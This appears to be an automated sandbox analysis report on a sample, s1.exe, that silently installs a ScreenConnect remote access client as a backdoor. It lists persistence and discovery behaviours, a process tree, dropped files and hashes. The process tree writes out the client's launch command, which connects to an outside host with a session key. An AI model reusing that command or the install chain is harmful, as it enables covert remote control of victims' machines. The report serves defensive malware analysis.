Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/09/2026, 12:25

General

  • Target
    s1.exe
  • Size 5.4MB
  • Sample260908-plpxfabk41
  • SHA256 05240a3d470ec814cce36d046219e9fd50612b8afb632d058917bc90e6e46e08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\s1.exe
    "C:\Users\Admin\AppData\Local\Temp\s1.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\6655940179746f61\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4540
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C55A91DE4A3BC89B0EADFE51A576758B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6116
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240719968 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4328
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3840
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 48070E860CBD90F35310C1C6DBAA02F6
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3260
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 710D0656C9F499F5015B8322124F0D4C E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4616
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2880
    • C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=108.186.112.251&p=8041&s=9596f392-177b-48ac-b109-1ed0f9d5ca96&k=BgIAAACkAABSU0ExAAgAAAEAAQD9J4TskJXzDSlWn%2bNIxOy6%2f6sGFCtc%2bAJ1danHu40lfX3ZWfbaAUwq0BZ8V37vSFVNPjkstFI4%2bQtfg6vYRWlJNYuEwtnGt9lfeyFb5cX7Pn060uVwUB4rtQdxVPWSM1YqK7%2bQ8MZY6iKXsffBu1ZHIjWI7arLs%2fZdEU8SeMieDSWFzS3kKPpDocontVag%2fdflOBUBShAUBuVAurQA8NGuyHbPFkZG13Nbhp41Do4LCP64Y5b33Kzy1p9UmeZgEyavjw4xMZbs2nRaBBTmjA2FCiWjVKXFfLR9qtdQRKHFOuO2JS8ExjpKjsKBvvqNY%2bxi5v7aY7moC0UzVh0GYWe8"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5452
      • C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsClient.exe" "RunRole" "439a91e4-e6de-4649-bf27-e8faba865233" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:564

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5967d9.rbs

          • Path C:\Config.Msi\e5967d9.rbs
          • Size 214KB
          • SHA256 84edd609396bb550607f3627c976278891d158f9835a7266c9e6d93b5f4f0ece
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (6655940179746f61)\system.config
          • Size 937B
          • SHA256 b1622a85277e4527961dfc092331c8df92056f51864da9662d29a35b4d5f01a5
          • MD5 SHA1 SHA512 TLSH

          MSI17A5.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17A5.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\6655940179746f61\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 8649011c1af25eac489b4e80e5d40be621f473fed97e0833c980fd210e0467ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6D57.tmp

          • Path C:\Windows\Installer\MSI6D57.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ce2jvexm.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6655940179746f61)\ce2jvexm.newcfg
          • Size 565B
          • SHA256 7ea7ebd14b6fbd885ddb7ffda69091d39021926467267b5e38e85cbe42917caa
          • MD5 SHA1 SHA512 TLSH

          iniokm2k.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6655940179746f61)\iniokm2k.newcfg
          • Size 565B
          • SHA256 d7ec4ba27f70a38ebb4d4daa72b8cfe42335c3c5b9130fbae78cd36f4c550ccf
          • MD5 SHA1 SHA512 TLSH

          ps3jg3m3.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6655940179746f61)\ps3jg3m3.newcfg
          • Size 565B
          • SHA256 85d8282504b8c77ea3cfd706af5b09ef546efbf5418a425d8b965a3a9556050c
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6655940179746f61)\user.config
          • Size 565B
          • SHA256 38e71d52587dd2dfe33b95e4c767946acbb3e56b3aabe5eba02e3e286a1db7ee
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6655940179746f61)\user.config
          • Size 565B
          • SHA256 a21d3ac2aa0315a92a6f72482d9669998b4d39279fad5ef43a02b00cf66b03c2
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 feb72a04146c6e2b3910e838e7766341bf8309971f5848f3754687745b6d0ed5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {7280a06a-6c5f-4945-b855-2756905fda3e}_OnDiskSnapshotProp

          • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7280a06a-6c5f-4945-b855-2756905fda3e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 bf38a2ab74af747f140096d4bafc9e729fa95dfdbb84aa8c57101bd7a09211e2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/564-129-0x000000001BCF0000-0x000000001BD7C000-memory.dmp

          memory/564-127-0x0000000000CA0000-0x0000000000D38000-memory.dmp

          memory/564-134-0x000000001B910000-0x000000001B951000-memory.dmp

          memory/564-133-0x000000001B8F0000-0x000000001B908000-memory.dmp

          memory/564-132-0x0000000002E70000-0x0000000002E88000-memory.dmp

          memory/564-131-0x000000001CE90000-0x000000001D018000-memory.dmp

          memory/564-130-0x000000001BF30000-0x000000001C0DC000-memory.dmp

          memory/564-128-0x000000001B8B0000-0x000000001B8E6000-memory.dmp

          memory/4132-2-0x0000000005450000-0x0000000005742000-memory.dmp

          memory/4132-13-0x0000000074FA0000-0x000000007575C000-memory.dmp

          memory/4132-11-0x0000000074FA0000-0x000000007575C000-memory.dmp

          memory/4132-4-0x0000000005120000-0x0000000005142000-memory.dmp

          memory/4132-9-0x0000000074FA0000-0x000000007575C000-memory.dmp

          memory/4132-5-0x0000000074FA0000-0x000000007575C000-memory.dmp

          memory/4132-3-0x0000000005090000-0x000000000511C000-memory.dmp

          memory/4132-0-0x0000000074FB2000-0x0000000074FB3000-memory.dmp

          memory/4132-1-0x00000000029F0000-0x00000000029F8000-memory.dmp

          memory/4132-7-0x0000000005D00000-0x00000000062BA000-memory.dmp

          memory/4132-8-0x0000000074FA0000-0x000000007575C000-memory.dmp

          memory/4132-6-0x0000000005160000-0x000000000530C000-memory.dmp

          memory/4328-44-0x00000000059F0000-0x0000000005B9C000-memory.dmp

          memory/4328-40-0x00000000057B0000-0x000000000583C000-memory.dmp

          memory/4328-36-0x0000000003660000-0x000000000366A000-memory.dmp

          memory/4328-32-0x0000000003620000-0x000000000364E000-memory.dmp

          memory/5452-114-0x0000000004880000-0x00000000048B6000-memory.dmp

          memory/5452-115-0x0000000004960000-0x00000000049F2000-memory.dmp

          memory/5452-106-0x0000000004830000-0x0000000004880000-memory.dmp

          memory/5452-88-0x0000000004300000-0x0000000004318000-memory.dmp

          memory/5452-119-0x0000000004B50000-0x0000000004C25000-memory.dmp

          memory/5452-117-0x00000000047F0000-0x0000000004831000-memory.dmp